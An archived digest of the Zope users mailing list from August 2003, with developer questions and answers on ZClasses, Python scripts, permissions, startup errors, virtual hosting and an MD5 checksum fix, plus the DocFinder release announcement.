http://mail.zope.org/mailman/listinfo/zope-dev ) > From zk at wspim.edu.pl Mon Aug 25 18:13:04 2003 From: zk at wspim.edu.pl (zk) Date: Mon Aug 25 11:13:53 2003 Subject: [Zope] Re: Wrong MD5 sum for Zope-2.7.0-b1-win32.exe? In-Reply-To: References: Message-ID: <20030825151303.GA49959@hhos.serious.ld> On Mon, Aug 25, 2003 at 03:22:51PM +0200, Tobias Herp wrote: > Hi, > > I just downloaded Zope-2.7.0-b1-win32.exe (which worked fine) and > checked the md5 sum; unfortunately it didn't match. I repeated the > download and got the same file; I repeated it with another browser and > got the same again. > > My md5 sum: ab07f4a679cf9323a5620f3003937d20 > > The documented, obviously wrong md5 sum: ab7f4a679cf9323a562f303937d20 I have the same problem with zope-2.6.2b source. It is strange. The only difference is some zeroes. zk From madduck at madduck.net Mon Aug 25 17:10:42 2003 From: madduck at madduck.net (martin f krafft) Date: Mon Aug 25 11:22:49 2003 Subject: [Zope] Integrating an SQL Database into ZCatalog Message-ID: <20030825141042.GA28145@diamond.madduck.net> A lot of our data are stored in an SQL database, so they are not indexed by ZCatalog. Has anyone encountered this and knows a good way to deal with it? E.g. it would be nice to be able to say: include the data from table papers in ZCatalog, and use the template http://www.host.ch/publications/paper/<%id> when a match is selected. Suggestions? -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! "never trust a woman who wears mauve, whatever her age may be, or a woman over thirty-five who is fond of pink ribbons. it always means they have a history." -- oscar wilde -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030825/15f9ab2e/attachment.bin From zope at thewebsons.com Mon Aug 25 12:39:22 2003 From: zope at thewebsons.com (beno) Date: Mon Aug 25 11:39:51 2003 Subject: [Zope] Bug Report Message-ID: <5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com> Hi; Can a few of you hit this page: http://mrtablecloth-vi.com/ and click "Tablecloths" at the BOTTOM of the page, click through a few selection screens and see if you see any error messages? If you do, can you send me the errors and also browser and OS info? I'm having trouble locating a bug that I can't see. Thanks for your help, beno From pw_lists at slinkp.com Mon Aug 25 12:37:50 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Mon Aug 25 11:40:37 2003 Subject: [Zope] Integrating an SQL Database into ZCatalog In-Reply-To: <20030825141042.GA28145@diamond.madduck.net> References: <20030825141042.GA28145@diamond.madduck.net> Message-ID: <20030825153750.GC1272@slinkp.com> On Mon, Aug 25, 2003 at 04:10:42PM +0200, martin f krafft wrote: > A lot of our data are stored in an SQL database, so they are not > indexed by ZCatalog. Has anyone encountered this and knows a good > way to deal with it? E.g. it would be nice to be able to say: > > include the data from table papers in ZCatalog, and use the template > http://www.host.ch/publications/paper/<%id> when a match is > selected. > > Suggestions? google for CatalogAnything (one word). -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's SPIDER OLIVE! (random hero from isometric.spaceninja.com) From jean.baltus at africamuseum.be Mon Aug 25 18:45:20 2003 From: jean.baltus at africamuseum.be (Jean Baltus) Date: Mon Aug 25 11:47:32 2003 Subject: [Zope] Send an email with attachment (from a python script) Message-ID: <002601c36b1f$e39ecfe0$010a10ac@museum.africamuseum.be> Hi all, How can I send an email with an attachment from a python script? Right now, we are using a script that looks as follows: mailhost=context.MailHost mailApproval = context.mail_template(context, email=email) mailhost.send(mailApproval) where "mail_template" is a page template that looks as follows: To: From: "" Subject: A Subject Content-Type: text/plain; charset= BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY Anybody has an idea to add an attachment to this? Regards, -- Jean Baltus -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030825/a6c74079/attachment.htm From brian at zope.com Mon Aug 25 12:43:55 2003 From: brian at zope.com (Brian Lloyd) Date: Mon Aug 25 11:48:09 2003 Subject: [Zope] Wrong MD5 sum for Zope-2.7.0-b1-win32.exe? In-Reply-To: Message-ID: > md5s should be fixed now. > > thanks, Actually, I should clarify this. The way md5s were handled was plain wrong - I've fixed the relevant part of the code, but 'correct' md5s will be generated as new releases are uploaded. Old incorrect md5s won't be shown, but they won't be automagically regenerated either. Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com From madduck at madduck.net Mon Aug 25 19:07:41 2003 From: madduck at madduck.net (martin f krafft) Date: Mon Aug 25 12:23:42 2003 Subject: [Zope] Re: Integrating an SQL Database into ZCatalog In-Reply-To: <20030825153750.GC1272@slinkp.com> References: <20030825141042.GA28145@diamond.madduck.net> <20030825153750.GC1272@slinkp.com> Message-ID: <20030825160741.GA32370@diamond.madduck.net> also sprach Paul Winkler [2003.08.25.1737 +0200]: > google for CatalogAnything (one word). my Lord. Working with Zope gets me high, seriously. I wonder what will happen soon, I am continuously trying to calm down my excitement about Zope and you guys shove new cool things in my face. The former happens way slower than the latter, so I am looking at, what, Zoporphine Overdose? Thanks Paul! Thanks Zope! Yeah! -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! "in contrast to the what-you-see-is-what-you-get philosophy, unix is the you-asked-for-it,-you-got-it operating system." --scott lee -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030825/00418ad1/attachment.bin From zope at thewebsons.com Mon Aug 25 13:34:57 2003 From: zope at thewebsons.com (beno) Date: Mon Aug 25 12:35:23 2003 Subject: [Zope] Bug Report In-Reply-To: <20030825161557.GD1272@slinkp.com> References: <5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com> <5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com> Message-ID: <5.1.0.14.0.20030825123356.00b43c28@mail.thewebsons.com> At 12:15 PM 8/25/2003 -0400, you wrote: >On Mon, Aug 25, 2003 at 11:39:22AM -0400, beno wrote: > > Hi; > > Can a few of you hit this page: > > http://mrtablecloth-vi.com/ > > and click "Tablecloths" at the BOTTOM of the page, click through a few > > selection screens and see if you see any error messages? If you do, can > you > > send me the errors and also browser and OS info? I'm having trouble > > locating a bug that I can't see. > > Thanks for your help, > > beno > >I clicked around a bit, didn't get any errors. Thanks for trying. I invite others to try, too. For some reason, there are no errors for many, but some people experience errors. I couldn't imagine Zope being browser or OS dependent, but that is what appears to be happening! beno From wphewitt at comcast.net Mon Aug 25 18:25:56 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Mon Aug 25 13:25:59 2003 Subject: [Zope] Python Script HowTo (WAS: How do I get the value of an object with python?) Message-ID: <1061832345.3263.125.camel@blowfish.hewnix.com> Hi First it's great to be back on the list..... Had some problems for a few days. As Dieter pointed out I was not very clear in what I was trying to accomplish. (All my posts to this point have been related - as well as the post by davis@mccalldesign.com - which seems very similar...) Heres what I have: 2 ZClasses StyleBook (Inherits from Folder) | | | |---StyleSheet (Inherits from DTML Document) Unique title Property specifying when to use styletype Property specifying where to use At this point I can successfully create the StyleBook instance and add StyleSheet instances with the correct properties and through the ZMI, reset and/or view the results of those properties at will..... Now, I am trying to: * Via Python, collect all instances of StyleSheet that exist in StyleBook (via unique object ID) * Via Python, look at the title and styletype properties of each StyleSheet instance and compare them against my query arguments * If I find a match, return all the Property values(potentially 47+) of the particular StyleSheet instance (that are not empty strings) in a CSS Format. I cannot find any good *simple* howto examples of doing this with python. (With DTML I can do it, but it is very messy... Though I'm just learning Python, I would like to do it with python) Hope this makes sense......and Thanks for listening WPH From bluepaul at earthlink.net Mon Aug 25 11:07:36 2003 From: bluepaul at earthlink.net (David Hassalevris) Date: Mon Aug 25 13:29:39 2003 Subject: [Zope] Bug Report References: <5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com><5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com> <5.1.0.14.0.20030825123356.00b43c28@mail.thewebsons.com> Message-ID: <000001c36b2e$72974610$0200a8c0@DAVIDH> Beno, I got this using Opera 7: I clicked /tableclothes/no iron ps I tried it again and got no error :-0 David Error Type: TALESError Error Value: ZODB.POSException.ReadConflictError on database read conflict error (oid 0000000000069f33, class BTrees.OOBTree.OOBucket) in "", at line 56, column 5 ----- Original Message ----- From: "beno" To: Sent: Monday, August 25, 2003 9:34 AM Subject: Re: [Zope] Bug Report > At 12:15 PM 8/25/2003 -0400, you wrote: > >On Mon, Aug 25, 2003 at 11:39:22AM -0400, beno wrote: > > > Hi; > > > Can a few of you hit this page: > > > http://mrtablecloth-vi.com/ > > > and click "Tablecloths" at the BOTTOM of the page, click through a few > > > selection screens and see if you see any error messages? If you do, can > > you > > > send me the errors and also browser and OS info? I'm having trouble > > > locating a bug that I can't see. > > > Thanks for your help, > > > beno > > > >I clicked around a bit, didn't get any errors. > > Thanks for trying. I invite others to try, too. For some reason, there are > no errors for many, but some people experience errors. I couldn't imagine > Zope being browser or OS dependent, but that is what appears to be happening! > beno > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From gagenellina at softlab.com.ar Mon Aug 25 16:38:15 2003 From: gagenellina at softlab.com.ar (Gabriel Genellina) Date: Mon Aug 25 15:09:06 2003 Subject: [Zope] anonymous user In-Reply-To: Message-ID: <5.2.1.1.0.20030825153014.01da5e00@192.168.0.115> At 23/8/2003 02:00, you wrote: >My zope site was 100% password-restricted (anonymous user assigned no >privileges), but now I need to make one folder at the root level >accessible by anonymous login. > >In the security tab of that folder, I unchecked the acquire permissions >boxes of everything and checked only the "view" items. But I can't log in >with a blank username/password. I get this message from verbose security: > >Error Type: Unauthorized >Error Value: (item 0): Your user account does not have the required >permission. Access to 0 of [(Application instance at 18a3760), (Folder >instance at 18cfcd0)] denied. Your user account, Anonymous User, exists at >/acl_users. Access requires one of the following roles: ['Manager', >'View']. Your roles in this context are ['Anonymous']. > > >I don't understand this error, since I'm logging in without a name or >password. Shouldn't it automatically assume I'm an Anonymous User with the >Anonymous role? Yes, you *are* the anonymous user (see last sentence in error value). But something needs the "View" role (you created it, I guess, since it's not a default one). Do you have an index_html inside your folder, or is it acquired? Try to figure out what is "0" (item 0). Gabriel Genellina Softlab SRL From evan at 4-am.com Mon Aug 25 15:34:00 2003 From: evan at 4-am.com (Evan Simpson) Date: Mon Aug 25 15:49:05 2003 Subject: [Zope] Re: Python Script HowTo (WAS: How do I get the value of an object with python?) In-Reply-To: <1061832345.3263.125.camel@blowfish.hewnix.com> References: <1061832345.3263.125.camel@blowfish.hewnix.com> Message-ID: <3F4A64A8.50008@4-am.com> Bill Hewitt wrote: > * Via Python, collect all instances of StyleSheet that exist in > StyleBook (via unique object ID) Since your StyleSheet is a Folder, you should be able to use 'objectIds' and company with a meta-type argument. I'm not sure what your parenthesized bit means. > * Via Python, look at the title and styletype properties of each > StyleSheet instance and compare them against my query arguments The 'title' should be accessible as a simple attribute. I presume that 'styletype' is defined on a ZClass propertsheet, so you may need to write something like "ss.propertysheets.get('mysheet').styletype" > * If I find a match, return all the Property values(potentially 47+) of > the particular StyleSheet instance (that are not empty strings) in a CSS > Format. Hmm. Here an utterly untested code snippet that may help, intended to be the body of a Script in StyleBook ##parameters=a_title, a_type props = [] for ss in container.objectValues(['StyleSheet']): if (ss.title == a_title and ss.propertysheets['mysheet'].styletype == a_type): for p in ss.propertysheets.get('mysheet').propertyItems(): props.append('%s: %s' % p) return '; '.join(props) Cheers, Evan @ 4-am From betheredge at mesa-grp.com Mon Aug 25 16:41:38 2003 From: betheredge at mesa-grp.com (Bill Etheredge) Date: Mon Aug 25 16:42:13 2003 Subject: [Zope] Zope Start Up Message-ID: <49E9443D25AD8647BF4BAEEF2DDB0AF703EF1F@mesatx21.mesa-grp.com> We recently installed Zope 2.6.1 on a RH Linux 7.2 server. When we attempt to start Zope on this server, we get the following message: ------ 2003-08-25T16:07:40 INFO(0) zdaemon Started subprocess: pid 5635 ------ 2003-08-25T16:07:43 INFO(0) ZODB Opening database for mounting: '144205064_1059403198.767560' ------ 2003-08-25T16:07:43 INFO(0) ZODB Mounted database '144205064_1059403198.767560' at /temp_folder ------ 2003-08-25T16:07:43 INFO(0) ZServer HTTP server started at Mon Aug 25 16:07:43 2003 Hostname: xxxxxxxx Port: 8080 ------ 2003-08-25T16:07:43 INFO(0) ZServer FTP server started at Mon Aug 25 16:07:43 2003 Hostname: xxxxxxxx Port: 8021 ------ 2003-08-25T16:07:43 PANIC(300) z2 Startup exception Traceback (innermost last): File /local/home/Zope-2.6.1-linux2-x86/z2.py, line 748, in ? File /local/home/Zope-2.6.1-linux2-x86/ZServer/PCGIServer.py, line 273, in __init__ File /local/home/Zope-2.6.1-linux2-x86/ZServer/PCGIServer.py, line 287, in create_socket File /local/home/Zope-2.6.1-linux2-x86/ZServer/medusa/asyncore.py, line 254, in create_socket error: (12, 'Cannot allocate memory') [root@app]/etc/rc.d/rc3.d# Can anyone point us in the direction to fix this? Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030825/6c6ba359/attachment.htm From jake at atwood.org Mon Aug 25 18:11:05 2003 From: jake at atwood.org (Jake) Date: Mon Aug 25 17:12:51 2003 Subject: [Zope] ExternalEditor and Zope's gzip compression, in Windows In-Reply-To: <3F2E3B90.6060705@nipltd.com> Message-ID: Nope... the right way is to throw in your standard_html_header It works... see...? http://leknor.com/code/gziped.php?url=http%3A%2F%2Fwww.queenswest.com Tried it in a ton of browsers for both Mac and Windows. Seems to work fine. BZ On Monday, August 4, 2003, at 06:55 AM, Chris Withers wrote: > Ausum Studio wrote: > >> use_HTTP_content_compression = 1 > > From some posts in the archives, you'll find that this isn't the right > way to enable HTTP content compression... > >> expect the problem that every time you click at the icon to launch the >> editor, Windows will start to ask for what to do with the to-download >> file. >> If you respond to open, then it will trigger the File Types dialog >> box, >> asking for the right app to open it. In other words, you'll be >> tempted to >> reinstall ExternalEditor. :) > > ...but this sounds like a bug similar to one people have experienced > in other circumstances with http content compression. > > IIRC, the person who implemented this is lurking on the list, so > hopefully will get back to you... > > cheers > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From wphewitt at comcast.net Mon Aug 25 22:21:11 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Mon Aug 25 17:21:14 2003 Subject: [Zope] Continuation of my Trials and Tribulations with creating a ZClass Product Message-ID: <1061846467.3263.153.camel@blowfish.hewnix.com> First off, thanks to everyone for answers to problems I had trouble explaining..... This has been extremely painful to understand so far. Anyway, the query code I have below works up to the return.... It returns the correct stylesheet, but I need to know how to insert a standard template in the Style Sheet ZClass (based on DTMLDocument) so I dont have to edit/add the view every time I create an instance. (manage_clone, manage_add, DTMLFile ?????) Looking into DTMLDocument, I see how to do it in python, but I dont understand how to apply that to python script..... Can someone show me an example of how to do this? WPH My code so far is below: --------- --------- Python code used to create the Style Sheet Instance --------- # Add a new instance of the Style Sheet ZClass request = context.REQUEST from DateTime import DateTime ts=DateTime().strftime('%Y%m%d%H%M%S') id=str(ts) instance = container.StyleSheet.createInObjectManager(id, request) ################################################################## ### I would assume I need to add the Style Sheet document_src here ################################################################## # ***************************************************************** # Perform any initialization of the new instance here. # For example, to update a property sheet named "Basic" from the # form values, uncomment the following line of code: instance.propertysheets.Base.manage_editProperties(request) instance.propertysheets.Custom.manage_editProperties(request) instance.propertysheets.a.manage_editProperties(request) instance.propertysheets.body.manage_editProperties(request) instance.propertysheets.h1.manage_editProperties(request) instance.propertysheets.h2.manage_editProperties(request) instance.propertysheets.h3.manage_editProperties(request) instance.propertysheets.h4.manage_editProperties(request) instance.propertysheets.h5.manage_editProperties(request) instance.propertysheets.p.manage_editProperties(request) # ***************************************************************** if redirect: # redirect to the management view of the instance's container request.RESPONSE.redirect(instance.aq_parent.absolute_url() + '/manage_main') else: # If we aren't supposed to redirect (ie, we are called from a script) # then just return the ZClass instance to the caller return instance --------- --------- Python Code used for the building the public view.... ---------- DATE=DateTime().dd() MONTH=DateTime().Month() DAY=DateTime().Day() YEAR=DateTime().year() ## Build a Date/Time Output to Match variations on "title" String Formats in Style Sheet Properties DAYMONTHDATEYEAR="%s %s %s %s" % (DAY, MONTH, DATE, YEAR) MONTHDATEYEAR=" %s %s %s" % (MONTH, DATE, YEAR) DAYMONTHYEAR="%s %s %s" % (DAY, MONTH, YEAR) DAYMONTHDATE="%s%s%s " % (DAY, MONTH, DATE) DAYDATEYEAR="%s %s %s" % (DAY, DATE, YEAR) MONTHDATE=" %s %s " % (MONTH, DATE) DAYMONTH="%s %s " % (DAY, MONTH) DAYDATE="%s %s " % (DAY, DATE) DATEYEAR=" %s %s" % (DATE, YEAR) DAYYEAR="%s %s" % (DAY, YEAR) MONTHYEAR=" %s %s" % (MONTH, YEAR) MONTHKEY=" %s " % (MONTH) DATEKEY=" %s " % (DATE) DAYKEY="%s " % (DAY) YEARKEY=" %s" % (YEAR) DEFAULT="DEFAULT" ## Look for Day Year (ie - Monday 2003) in Style Sheet (a DTML Document subclass) ## NOTE THAT StyleBook is a container (subclass of Folder) for stylesheet in container.StyleBook.objectValues(['Style Sheet']): if stylesheet.title == DAYYEAR: return stylesheet() #### Here I am returning the proper stylesheet instance - :) #### But how do I template the document_src in the Style Sheet ZClass #### to keep from having to rewrite it for every instance I create? #### (like the default view in DTML Document) From list at zettai.net Mon Aug 25 17:25:50 2003 From: list at zettai.net (george donnelly) Date: Mon Aug 25 17:26:13 2003 Subject: [Zope] Zope Start Up In-Reply-To: <49E9443D25AD8647BF4BAEEF2DDB0AF703EF1F@mesatx21.mesa-grp.com> Message-ID: [Bill Etheredge wrote (betheredge@mesa-grp.com) on 8/25/03 3:41 PM] > Can anyone point us in the direction to fix this? do you have a lot of free RAM on that machine? btw its not recommended to run zope as pcgi. you'll do better with rewrite rules. <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From mahapke at phm.k12.in.us Mon Aug 25 17:42:52 2003 From: mahapke at phm.k12.in.us (Matt Hapke) Date: Mon Aug 25 17:59:36 2003 Subject: [Zope] Virtual Hosting and save forms Message-ID: Well, any help on this one would surely be appreciated. I've gone about as far as I think I can go without asking here... I have a Zope server that is relayed through a portal set up like this: The web server is at www.me.com Anything destined for the zope server will have a address of www.me.com/zope/* OK, I actually have this part working 95% correctly. I've tried doing this with an Apache Front end and virtual Hosting, and I've tried using the ol SiteRoot Folder. I've got both to work except, when I fill in a typical form in manager, or plone, or whatever, it never saves the data. I'm bewildered. Examples: I got into root properties under /manage, and change the title. I hit the Save button, and it comes back to the root zope page. I surf up to the properties page again, and no changes. no error either. I go to plone, which has all the links looking perfect as far as I can tell, open a document, make some changes, hit save, and bingo, it doesn't save, just returns me to the page with no changes. I'm at a loss as to what the problem might be. The action URLs in each of the forms are what I think they should be (mapped through the web relay). I would appreciate any help I can get. From dieter at handshake.de Tue Aug 26 00:02:09 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:06:54 2003 Subject: [Zope] Replacing an unicode string In-Reply-To: <002401c36aea$c03de840$6ac9280a@domw2k.int> References: <002401c36aea$c03de840$6ac9280a@domw2k.int> Message-ID: <16202.31057.735754.914847@gargle.gargle.HOWL> Florian Reiser wrote at 2003-8-25 11:24 +0200: > I have an unicode string: > > text = u'ABC' > > Now I want to do a replacement of the string u'' to u'\u20ac' > (this is the euro sign). > When I type > > text = text.replace(u'', u'\u20ac') > > nothing happens, the string is still u'ABC' > How can I replace the tag '' and insert the euro sign instead? Works for me: Python 2.1.3. Done in an interactive interpreter. Dieter From dieter at handshake.de Mon Aug 25 23:14:48 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:07:38 2003 Subject: [Zope] newbie, accessing query results? In-Reply-To: <333C2598-D4B8-11D7-8F48-0050E4CE2500@earthlink.net> References: <333C2598-D4B8-11D7-8F48-0050E4CE2500@earthlink.net> Message-ID: <16202.28216.621835.258764@gargle.gargle.HOWL> Daniel Tartaglia wrote at 2003-8-22 11:49 -0400: > I have the name of a file that I am passing into the page template > using my_url?fileid="foo". I then want to access the properties of that > file from within the zpt. > > my zpt looks like: > > > first_name > last_name >
> first name >
> > > > The error I get is: > Error Type: TypeError > Error Value: sequence index must be integer Apparently, "container/dentist" is a property with a sequence value. Therefore, "container/dentist/" raises the above TypeError. You should use: "container/?dentist/". This will evaluate "dentist" and use the result in the path (e.g. "foo" instead of the constant "dentist"). Dieter From dieter at handshake.de Mon Aug 25 23:52:33 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:08:32 2003 Subject: [Zope] standard_error_message weirdness In-Reply-To: <002a01c3675c$cf7ca350$6b21a8c0@inspiron4k> References: <002a01c3675c$cf7ca350$6b21a8c0@inspiron4k> Message-ID: <16202.30481.233168.507072@gargle.gargle.HOWL> Erik Myllymaki wrote at 2003-8-20 13:51 -0700: > trying to customize my standard_error_message - Zope 2.6.1 on win32 (win2k > server) IE 6 client. > > if I use the simplest possible dtml-method: > > MyError > > I get a zope internal site error: > > ...traceback > NotFound: MyError > ... This comes from "ZPublisher.HTTPResponse.HTTPResponse.exception" near line 756 ("tag_search"). When it does not find a tag, it adds a traceback. This is a bug. Please file a bug report to . > ... > so I change the standard_error_message to: > > Simplest HTML Error Page > > MyError. > > > > But the wierd thing is it gets displyed once or twice, and then the IE > internal error page takes over (404, 500 mostly)... Did you configured IE to use "smart error messages"? Disable this feature. Dieter From dieter at handshake.de Tue Aug 26 00:00:01 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:09:26 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: References: Message-ID: <16202.30929.343359.582117@gargle.gargle.HOWL> Cameron Laird wrote at 2003-8-24 17:44 -0500: > I'll abbreviate this: in a Python script that processes a > file upload, how do I express the name of the uploaded file-- > that is, the name of the file the user selected with his > browser? I expected I'd find this in something like > context.REQUEST.get_header('CONTENT-DISPOSITION') > or > context.REQUEST.get_header('filename') > or somesuch, but I'm just getting None from those. When you upload a file via a browser form, the file is encapsulated in a "multipart/form-data" message. The headers describing the file are not in the HTTP request envelop (what you access by "REQUEST.get_header") but in the headers of the part. ZPublisher wraps an uploaded file in a "ZPublisher.HTTPRequest.FileUpload" instance. Its "filename" attribute contains the filename as passed by the browser (usually only the basename without the directory part (exception: broken IE)). Its "headers" attribute contains the headers of the part (of the "multipart") corresponding to the file. Dieter From chris at d-designz.co.nz Tue Aug 26 12:25:07 2003 From: chris at d-designz.co.nz (Chris Beaven) Date: Mon Aug 25 19:10:17 2003 Subject: [Zope] Bug Report In-Reply-To: <5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com> References: <5.1.0.14.0.20030825113907.0269b338@mail.thewebsons.com> Message-ID: <3F4A9AD3.9020606@d-designz.co.nz> No errors for me either. PS: I suggest you change the navigation image links to be absolute so they can be cached by the client rather than being downloaded again for each directory. beno wrote: >Hi; >Can a few of you hit this page: >http://mrtablecloth-vi.com/ >and click "Tablecloths" at the BOTTOM of the page, click through a few >selection screens and see if you see any error messages? If you do, can >you >send me the errors and also browser and OS info? I'm having trouble >locating a bug that I can't see. >Thanks for your help, >beno > > > >_______________________________________________ >Zope maillist - Zope@zope.org >http://mail.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > From dieter at handshake.de Mon Aug 25 23:21:17 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:10:57 2003 Subject: [Zope] How do I get the value of an object in python??? In-Reply-To: <1061740986.12790.1359.camel@blowfish.hewnix.com> References: <1061740986.12790.1359.camel@blowfish.hewnix.com> Message-ID: <16202.28605.895130.696394@gargle.gargle.HOWL> Bill Hewitt wrote at 2003-8-24 09:03 -0700: > ... > > ## Look for Day Year (ie - Monday 2003) > > for i in container.StyleBook.objectValues('Style Sheet') : > > print container.StyleBook.loadStyle(title=i.title, > > styletype=i.styletype, > > bodycolor=i.bodycolor > > ) > > return printed > > and it runs fine against loadStyle - a DTML method I wrote to return a formatted CSS stylesheet..... > > > But what I would like to do is use loadStyle in the context of i - in other words, use i's attributes as properties > to loadStyle WITHOUT having to declare them all as arguments to loadStyle. Almost surely, the following will work: ... loadStyle(i,container.REQUEST) ... The full solution will be to bind the DTML namespace in your Python Script (usually called '_') and use ... loadStyle(i,_) ... This will pass the DTML namespace from a DTML object through the Python Script to "loadStyle" (in case you need this; which is probably not the case). Please read "Calling DTML objects" in Dieter From dieter at handshake.de Mon Aug 25 23:09:03 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:11:38 2003 Subject: [Zope] Getting data from object inside ZClass In-Reply-To: <41204.24.81.83.191.1061599512.squirrel@zulu.mccalldesign.com> References: <41204.24.81.83.191.1061599512.squirrel@zulu.mccalldesign.com> Message-ID: <16202.27871.165067.410458@gargle.gargle.HOWL> Davis Marques wrote at 2003-8-22 17:45 -0700: > I'm developing a product using ZClasses, and I'm having some problems. > When I make an instance of my ZClass, I want to copy a number of > DTMLDocuments that are contained inside the ZClass to the inside of the > new ZClass instance. Here's what I've got: > > > # add a new instance of the ZClass, initialize properties > instance = container.DPPortal.createInObjectManager(request['id'], request) > instance.propertysheets.Basic.manage_editProperties(request) > > # the ZClass > producthome = getattr(container,'DPPortal') > > # make a new DTMLDocument with data from default_css > source = getattr(producthome,'default_css') > instance.manage_addDTMLMethod(id='designportal.css',title='Default Design > Portal stylesheet',file=source.data) This problem report is much better than the last one. But, it is still not optimal. You do not tell, what does not work, what exceptions you get (with traceback) if any. I expect, you get an "AttributeError" for "default_css". This is because (almost surely) "container" is the product and not the ZClass but you said above the DTMLDocuments to be copied where inside the ZClass. By the way, you must be very precise when you report problems. What is where and should go where is crucial for any useful response. When the objects to be copied are indeed inside the ZClass, it is easiest to access them via the instance (accessing them via the ZClass is very difficult). You can use "manage_clone" (from "OFS.CopySupport.CopyContainer) to do the copying. Dieter From dieter at handshake.de Tue Aug 26 02:06:25 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 19:12:21 2003 Subject: [Zope] [Ann] DocFinder 1.0: ask Zope about its documentation Message-ID: <16202.38513.976426.276814@gargle.gargle.HOWL> It is often difficult to find accurate documentation about the Zope infrastructure. Often, I have written: look into the Zope source, its source documentation is quite good. However, as Zope's implementation language Python provides good introspection facilities, there is a better way: extract the documentation directly from Zope. That's what 'DocFinder' does. It analyses any Zope object inside a running Zope, determines which classes have been used in the object's makeup and provides information about their class level attributes: name, allowed roles, arguments, documentation strings. It provides (read only) access to to source code of Python implemented classes and methods, as well. What's new in version 1.0: * Direct access to source code of Python implemented classes and methods * Implemented as a single persistent DocFinder instance (rather than a DTML object and External Method pair) * Alternative URL-calling to document objects which intercept traversal * Now uses PageTemplates rather than DTML for presentation More information and download: Dieter From ljmcallister at hotmail.com Tue Aug 26 00:24:47 2003 From: ljmcallister at hotmail.com (Lee J. McAllister) Date: Mon Aug 25 19:25:22 2003 Subject: [Zope] dtml-tree behaviour Message-ID: Hi, I'm using the tag and I'm seeing an unexpected behaviour. Whenever you expand or contract a position of the tree (using the plus/minus icon) it throws me to the last page I viewed as if I'd hit the back button. If there is an instance of the on that page the tree will show the tree state correctly but it usually leaves me on the wrong page/folder. Can anyone help me out with where it's pulling the refering page from and what I need to do to override that behaviour? Is it a cookie value, something in the request object that I can work around or am I up the creek on this one? Any insights?? Thanks, Lee _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail From bz at bwanazulia.com Mon Aug 25 21:18:49 2003 From: bz at bwanazulia.com (BZ) Date: Mon Aug 25 20:19:01 2003 Subject: [Zope] ExternalEditor and Zope's gzip compression, in Windows In-Reply-To: Message-ID: Nope... the right way is to throw in your standard_html_header It works... see...? http://leknor.com/code/gziped.php?url=http%3A%2F%2Fwww.queenswest.com Tried it in a ton of browsers for both Mac and Windows. Seems to work fine. BZ On Saturday, August 2, 2003, at 11:09 PM, Ausum Studio wrote: > I just stumbled with a problem while working with both Zope's gzip > compression and ExternalEditor: If you enable gzip in HTTPResponse.py, > like > this: > > use_HTTP_content_compression = 1 > > expect the problem that every time you click at the icon to launch the > editor, Windows will start to ask for what to do with the to-download > file. > If you respond to open, then it will trigger the File Types dialog box, > asking for the right app to open it. In other words, you'll be tempted > to > reinstall ExternalEditor. :) > > Any ideas of how to patch this? > > > Thanks in advance, > > > Ausum > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From chris at d-designz.co.nz Tue Aug 26 14:32:32 2003 From: chris at d-designz.co.nz (Chris Beaven) Date: Mon Aug 25 21:14:41 2003 Subject: [Zope] How the heck do I do this Python for Loop? In-Reply-To: <1061791637.3263.28.camel@blowfish.hewnix.com> References: <1061791637.3263.28.camel@blowfish.hewnix.com> Message-ID: 